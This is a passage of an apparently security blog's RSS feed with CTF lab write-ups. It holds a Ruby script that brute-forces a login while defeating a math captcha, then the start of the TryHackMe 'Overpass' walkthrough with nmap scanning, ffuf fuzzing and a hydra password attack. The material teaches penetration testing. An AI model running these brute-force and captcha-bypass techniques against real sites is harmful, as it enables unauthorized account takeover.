class="line"><span style="color:#61AFEF">require </span><span style="color:#98C379">'uri'</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic"># Configuration</span></span><span class="line"><span style="color:#E5C07B">DEBUG</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> false</span></span><span class="line"><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '10.128.135.145'</span></span><span class="line"><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 80</span></span><span class="line"><span style="color:#E5C07B">LOGIN_PATH</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> '/login'</span></span><span class="line"><span style="color:#E5C07B">PASSWORDS_FILE</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'passwords.txt'</span></span><span class="line"><span style="color:#E5C07B">USERNAME</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'edited'</span></span><span class="line"><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">  INVALID_USER</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /The user &#x26;#39;[a-z]+&#x26;#39; does not exist/</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  CAPTCHA_ENABLED</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /Captcha enabled/</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  INVALID_CAPTCHA</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /Invalid captcha/</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#56B6C2">  INVALID_PASS</span><span style="color:#D19A66">:</span><span style="color:#E06C75"> /Invalid password for user &#x26;#39;[a-z]+&#x26;#39;/</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#E06C75">uri</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> URI</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"http://</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#C678DD">}</span><span style="color:#98C379">:</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#C678DD">}#{</span><span style="color:#E5C07B">LOGIN_PATH</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">passwords</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#56B6C2">readlines</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">PASSWORDS_FILE</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">map</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">&#x26;</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">chomp</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Start user identification"</span></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Target: </span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_HOST</span><span style="color:#C678DD">}</span><span style="color:#98C379">:</span><span style="color:#C678DD">#{</span><span style="color:#E5C07B">TARGET_PORT</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#56B6C2">puts</span><span style="color:#98C379"> "[*] Number of password candidates: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">passwords.</span><span style="color:#61AFEF">count</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#56B6C2">puts</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> test_credentials</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">uri</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">username</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">password</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">captcha_mode</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">previous_res</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">  http</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(uri.</span><span style="color:#61AFEF">host</span><span style="color:#ABB2BF">, uri.</span><span style="color:#61AFEF">port</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">  http.</span><span style="color:#61AFEF">read_timeout</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> 3</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  params</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#56B6C2">    username</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF"> username,</span></span><span class="line"><span style="color:#56B6C2">    password</span><span style="color:#D19A66">:</span><span style="color:#ABB2BF"> password</span></span><span class="line"><span style="color:#ABB2BF">  }</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#E06C75">    captcha_value</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> solve_captcha</span><span style="color:#ABB2BF">(previous_res)</span></span><span class="line"><span style="color:#ABB2BF">    params[</span><span style="color:#98C379">'captcha'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> captcha_value</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">  request</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> Net</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">HTTP</span><span style="color:#ABB2BF">::</span><span style="color:#E5C07B">Post</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">new</span><span style="color:#ABB2BF">(uri.</span><span style="color:#61AFEF">path</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">  request.</span><span style="color:#61AFEF">set_form_data</span><span style="color:#ABB2BF">(params)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">  begin</span></span><span class="line"><span style="color:#E06C75">    response</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> http.</span><span style="color:#61AFEF">request</span><span style="color:#ABB2BF">(request)</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">INVALID_PASS</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">    elsif</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> false</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">CAPTCHA_ENABLED</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#56B6C2">      puts</span><span style="color:#98C379"> '[+] Captcha detected'</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#D19A66"> :</span><span style="color:#56B6C2">captcha</span></span><span class="line"><span style="color:#C678DD">    elsif</span><span style="color:#ABB2BF"> captcha_mode </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ERROR_MESSAGES</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">:</span><span style="color:#56B6C2">INVALID_CAPTCHA</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">    else</span></span><span class="line"><span style="color:#C678DD">      return</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#C678DD">    end</span></span><span class="line"><span style="color:#C678DD">  rescue</span><span style="color:#ABB2BF"> => e</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[!] Error: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">e.</span><span style="color:#61AFEF">message</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> response.</span><span style="color:#61AFEF">body</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">def</span><span style="color:#61AFEF"> solve_captcha</span><span style="color:#ABB2BF">(</span><span style="color:#ABB2BF;font-style:italic">response_body</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  # Extract math challenge (eg: "634 + 61 = ?")</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> response_body.</span><span style="color:#61AFEF">match?</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">/</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*[+</span><span style="color:#56B6C2">\-</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\/</span><span style="color:#E06C75">]</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*=</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\?</span><span style="color:#E06C75">/</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#E06C75">    match</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> response_body.</span><span style="color:#61AFEF">match</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">/(</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+)</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*([+</span><span style="color:#56B6C2">\-</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\/</span><span style="color:#E06C75">])</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*(</span><span style="color:#56B6C2">\d</span><span style="color:#E06C75">+)</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*=</span><span style="color:#56B6C2">\s</span><span style="color:#E06C75">*</span><span style="color:#56B6C2">\?</span><span style="color:#E06C75">/</span><span style="color:#ABB2BF">)</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">    num1</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">to_i</span></span><span class="line"><span style="color:#E06C75">    operator</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#E06C75">    num2</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> match[</span><span style="color:#D19A66">3</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">to_i</span></span><span class="line"></span><span class="line"><span style="color:#7F848E;font-style:italic">    # Resolve calc</span></span><span class="line"><span style="color:#E06C75">    result</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> case</span><span style="color:#ABB2BF"> operator</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '+'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '-'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '*'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">*</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             when</span><span style="color:#98C379"> '/'</span><span style="color:#C678DD"> then</span><span style="color:#ABB2BF"> num1 </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF"> num2</span></span><span class="line"><span style="color:#C678DD">             end</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[+] Solved captcha: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">num1</span><span style="color:#C678DD">}</span><span style="color:#C678DD"> #{</span><span style="color:#ABB2BF">operator</span><span style="color:#C678DD">}</span><span style="color:#C678DD"> #{</span><span style="color:#ABB2BF">num2</span><span style="color:#C678DD">}</span><span style="color:#98C379"> = </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">result</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#ABB2BF"> result.</span><span style="color:#61AFEF">to_s</span></span><span class="line"><span style="color:#C678DD">  else</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[!] Impossible to extract captcha"</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#7F848E;font-style:italic">    #puts response_body if DEBUG</span></span><span class="line"><span style="color:#C678DD">    return</span><span style="color:#D19A66"> nil</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">captcha_mode</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> false</span></span><span class="line"><span style="color:#E06C75">previous_res</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span></span><span class="line"><span style="color:#ABB2BF">passwords.</span><span style="color:#61AFEF">each</span><span style="color:#C678DD"> do</span><span style="color:#ABB2BF"> |</span><span style="color:#E06C75">password</span><span style="color:#ABB2BF">|</span></span><span class="line"><span style="color:#E06C75">  res</span><span style="color:#56B6C2"> =</span><span style="color:#61AFEF"> test_credentials</span><span style="color:#ABB2BF">(uri, </span><span style="color:#E5C07B">USERNAME</span><span style="color:#ABB2BF">, password, captcha_mode, previous_res)</span></span><span class="line"><span style="color:#7F848E;font-style:italic">  #puts previous_res if DEBUG</span></span><span class="line"><span style="color:#C678DD">  if</span><span style="color:#ABB2BF"> res </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> "[+] Success! Password found: </span><span style="color:#C678DD">#{</span><span style="color:#ABB2BF">password</span><span style="color:#C678DD">}</span><span style="color:#98C379">"</span></span><span class="line"><span style="color:#C678DD">  elsif</span><span style="color:#ABB2BF"> res </span><span style="color:#56B6C2">==</span><span style="color:#D19A66"> :</span><span style="color:#56B6C2">captcha</span></span><span class="line"><span style="color:#56B6C2">    puts</span><span style="color:#98C379"> '[+] Captcha mode enabled'</span><span style="color:#C678DD"> if</span><span style="color:#E5C07B"> DEBUG</span></span><span class="line"><span style="color:#E06C75">    captcha_mode</span><span style="color:#56B6C2"> =</span><span style="color:#D19A66"> true</span></span><span class="line"><span style="color:#C678DD">  else</span></span><span class="line"><span style="color:#E06C75">    previous_res</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> res</span></span><span class="line"><span style="color:#C678DD">  end</span></span><span class="line"><span style="color:#C678DD">end</span></span></code></pre></div></div></figure><p>Then I just found the password for that user.</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ruby find_password.rb</span></span><span class="line"><span>[*] Start user identification</span></span><span class="line"><span>[*] Target: 10.128.135.145:80</span></span><span class="line"><span>[*] Number of password candidates: 1567</span></span><span class="line"><span></span></span><span class="line"><span>[+] Success! Password found: edited</span></span></code></pre></div></div></figure><h2 id="Flag">Flag<a class="header-anchor" href="#Flag">#</a></h2><p>Then just login with the retrieved credentials to see the flag on the dashboard:</p><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>Flag.txt:</span></span><span class="line"><span>7&#x3C;edited>6</span></span></code></pre></div></div></figure><h2 id="Vulnerabilities">Vulnerabilities<a class="header-anchor" href="#Vulnerabilities">#</a></h2><ul><li>Non-generic error message on authentication features leading to user oracle</li><li>Weak captcha / anti-brute force attacks mechanism</li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Overpass - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Overpass-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Overpass</li>
<li><s]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/crypto/">crypto</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/cron/">cron</category>
      <category domain="https://blog.raw.pm/tags/john/">john</category>
      <pubDate>Mon, 06 Apr 2026 04:53:11 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Overpass</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/overpass">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: What happens when some broke CompSci students make a password manager?</li></ul><p><img src="/images/TryHackMe/overpass.png" alt="Overpass"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> wget</span><span style="color:#98C379"> ffuf</span><span style="color:#98C379"> curl</span><span style="color:#98C379"> htmlq</span><span style="color:#98C379"> hydra</span><span style="color:#98C379"> john</span><span style="color:#98C379"> ruby</span><span style="color:#98C379"> openssh</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart3592" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart3592').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        3,        0,        0,        5,        5,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Network-discovery">Network discovery<a class="header-anchor" href="#Network-discovery">#</a></h2><p>As usual, let's start by adding a local domain name to the machine.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ grep overpass /etc/hosts</span></span><span class="line"><span>10.129.136.98 overpass.thm</span></span></code></pre></div></div></figure><p>Full network scan on the machine:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> nmap</span><span style="color:#D19A66"> -sSVC</span><span style="color:#98C379"> overpass.thm</span><span style="color:#D19A66"> -T4</span><span style="color:#D19A66"> -p-</span><span style="color:#D19A66"> -v</span><span style="color:#D19A66"> --open</span><span style="color:#D19A66"> --reason</span><span style="color:#D19A66"> -oA</span><span style="color:#98C379"> nmap</span></span></code></pre></div></div></figure><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ grep -E 'open|PORT' nmap.nmap</span></span><span class="line"><span># Nmap 7.99 scan initiated Mon Apr  6 01:16:04 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap overpass.thm</span></span><span class="line"><span>PORT   STATE SERVICE REASON         VERSION</span></span><span class="line"><span>22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>80/tcp open  http    syn-ack ttl 62 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)</span></span></code></pre></div></div></figure><h2 id="Website-discovery">Website discovery<a class="header-anchor" href="#Website-discovery">#</a></h2><p>Statistically, we have more chances starting with HTTP than with SSH.</p><p><a href="http://overpass.thm/">http://overpass.thm/</a> is the website for the password manager that the task description was talking about.</p><p>On the <code>/downloads/</code> we can download pre-built binaries but also the source code and build script.</p><h2 id="Source-code-analysis">Source code analysis<a class="header-anchor" href="#Source-code-analysis">#</a></h2><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">wget</span><span style="color:#98C379"> http://overpass.thm/downloads/src/overpass.go</span></span><span class="line"><span style="color:#61AFEF">wget</span><span style="color:#98C379"> http://overpass.thm/downloads/src/buildscript.sh</span></span></code></pre></div></div></figure><p>It's pretty obvious by reading <code>overpass.go</code>, that the encryption is extremely weak and reversible. It's a Caesar variant.</p><figure class="shiki go"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example</span></span><span class="line"><span style="color:#C678DD">func</span><span style="color:#61AFEF"> rot47</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">input</span><span style="color:#C678DD"> string</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">string</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#C678DD">var</span><span style="color:#E06C75"> result</span><span style="color:#ABB2BF"> []</span><span style="color:#C678DD">string</span></span><span class="line"><span style="color:#C678DD">for</span><span style="color:#E06C75"> i</span><span style="color:#E5C07B"> :=</span><span style="color:#C678DD"> range</span><span style="color:#E06C75"> input</span><span style="color:#ABB2BF">[:</span><span style="color:#61AFEF">len</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">input</span><span style="color:#ABB2BF">)] {</span></span><span class="line"><span style="color:#E06C75">j</span><span style="color:#E5C07B"> :=</span><span style="color:#C678DD"> int</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">input</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">])</span></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">j</span><span style="color:#56B6C2"> >=</span><span style="color:#D19A66"> 33</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">&#x26;&#x26;</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">j</span><span style="color:#56B6C2"> &#x3C;=</span><span style="color:#D19A66"> 126</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">result</span><span style="color:#E5C07B"> =</span><span style="color:#61AFEF"> append</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">result</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">string</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">rune</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">33</span><span style="color:#C678DD">+</span><span style="color:#ABB2BF">((</span><span style="color:#E06C75">j</span><span style="color:#C678DD">+</span><span style="color:#D19A66">14</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">%</span><span style="color:#D19A66">94</span><span style="color:#ABB2BF">))))</span></span><span class="line"><span style="color:#ABB2BF">} </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">result</span><span style="color:#E5C07B"> =</span><span style="color:#61AFEF"> append</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">result</span><span style="color:#ABB2BF">, </span><span style="color:#C678DD">string</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">input</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">]))</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#C678DD">return</span><span style="color:#E06C75"> strings</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">Join</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">result</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">""</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>My guess is that in the following steps of the room, we should find encrypted passwords and will be able to decrypt them with this software.</p><h2 id="Web-enumeration-analysis">Web enumeration &amp; analysis<a class="header-anchor" href="#Web-enumeration-analysis">#</a></h2><p>With a very quick fuzzing pass using ffuf, we are able to identify a route that is not linked on the homepage: <code>/admin/</code></p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ffuf</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> http://overpass.thm/FUZZ</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> /usr/share/seclists/Discovery/Web-Content/big.txt</span></span></code></pre></div></div></figure><p>We have nothing else to try but brute-forcing credentials on the admin page. For that, we have admin names on the <code>/aboutus/</code> page.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">curl</span><span style="color:#D19A66"> -s</span><span style="color:#98C379"> http://overpass.thm/aboutus/</span><span style="color:#ABB2BF"> | </span><span style="color:#61AFEF">htmlq</span><span style="color:#98C379"> '.aboutText'</span><span style="color:#ABB2BF"> | </span><span style="color:#61AFEF">pcre2grep</span><span style="color:#D19A66"> -o1</span><span style="color:#98C379"> '>([[:alpha:]]+) -'</span></span></code></pre></div></div></figure><figure class="shiki plaintext"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>Ninja</span></span><span class="line"><span>Pars</span></span><span class="line"><span>Szymex</span></span><span class="line"><span>Bee</span></span><span class="line"><span>MuirlandOracle</span></span></code></pre></div></div></figure><p>Let's try some brute-force with hydra, with a dictionary of common password and also user = pass.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">hydra</span><span style="color:#D19A66"> -L</span><span style="color:#98C379"> users.txt</span><span style="color:#D19A66"> -P</span><span style="color:#98C379"> /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt</span><span style="color:#D19A66"> -u</span><span style="color:#D19A66"> -e</span><span style="color:#98C379"> sr</span><span style="color:#D19A66"> -s</span><span style="color:#D19A66"> 80</span><span style="color:#D19A66"> -m</span><span style="color:#98C379"> '/api/login:username=^USER^&#x26;password=^PASS^:Incorrect credentials'</span><span style="color:#98C379"> overpass.thm</span><span style="color:#98C379"> http-post-form</span></span></code></pre></div></div></figure><p>But we are not lucky that way. Actually, the admin page is also loading <code>login.js</code> script.</p><figure class="shiki js"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic">// […]</span></span><span class="line"><span style="color:#C678DD">async</span><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> login</span><span style="color:#ABB2BF">() {</span></span><span class="line"><span style="color:#C678DD">    const</span><span style="color:#E5C07B"> usernameBox</span><span 